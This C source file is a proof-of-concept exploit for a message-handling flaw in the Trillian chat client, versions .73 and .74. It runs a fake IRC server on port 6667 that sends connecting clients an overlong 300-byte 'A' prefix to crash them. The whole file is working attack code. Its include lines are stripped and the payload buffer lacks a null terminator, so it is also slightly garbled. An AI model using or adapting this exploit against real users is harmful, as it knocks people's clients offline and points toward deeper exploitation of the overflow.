/* Trillian-Privmsg.c Author: Lance Fitz-Herbert Contact: IRC: Phrizer, DALnet - #KORP ICQ: 23549284 Exploits the Trillian Privmsg Flaw. Tested On Version .74 and .73 Compiles with Borland 5.5 Commandline Tools. This Example Will Just DoS The Trillian Client, not particularly useful, just proves the flaw exists. */ #include #include #include #include SOCKET s; #define MSG1 ":server 001 target :target\n:" #define MSG2 "!ident@address PRIVMSG target :You are the weakest link, Goodbye.\n" int main() { SOCKET TempSock = SOCKET_ERROR; WSADATA WsaDat; SOCKADDR_IN Sockaddr; int nRet; char payload[300]; printf("\nTrillian Privmsg Flaw\n"); printf("----------------------\n"); printf("Coded By Lance Fitz-Herbert (Phrizer, DALnet/#KORP)\n"); printf("Tested On Version .74 and .73\nListening On Port 6667 For Connections\n\n"); if (WSAStartup(MAKEWORD(1, 1), &WsaDat) != 0) { printf("ERROR: WSA Initialization failed."); return 0; } /* Create Socket */ s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (s == INVALID_SOCKET) { printf("ERROR: Could Not Create Socket. Exiting\n"); WSACleanup(); return 0; } Sockaddr.sin_port = htons(6667); Sockaddr.sin_family = AF_INET; Sockaddr.sin_addr.s_addr = INADDR_ANY; nRet = bind(s, (LPSOCKADDR)&Sockaddr, sizeof(struct sockaddr)); if (nRet == SOCKET_ERROR) { printf("ERROR Binding Socket"); WSACleanup(); return 0; } /* Make Socket Listen */ if (listen(s, 10) == SOCKET_ERROR) { printf("ERROR: Couldnt Make Listening Socket\n"); WSACleanup(); return 0; } while (TempSock == SOCKET_ERROR) { TempSock = accept(s, NULL, NULL); } printf("Client Connected, Sending Payload\n"); send(TempSock,MSG1,strlen(MSG1),0); memset(payload,'A',300); send(TempSock,payload,strlen(payload),0); send(TempSock,MSG2,strlen(MSG2),0); printf("Exiting\n"); sleep(100); WSACleanup(); return 0; }

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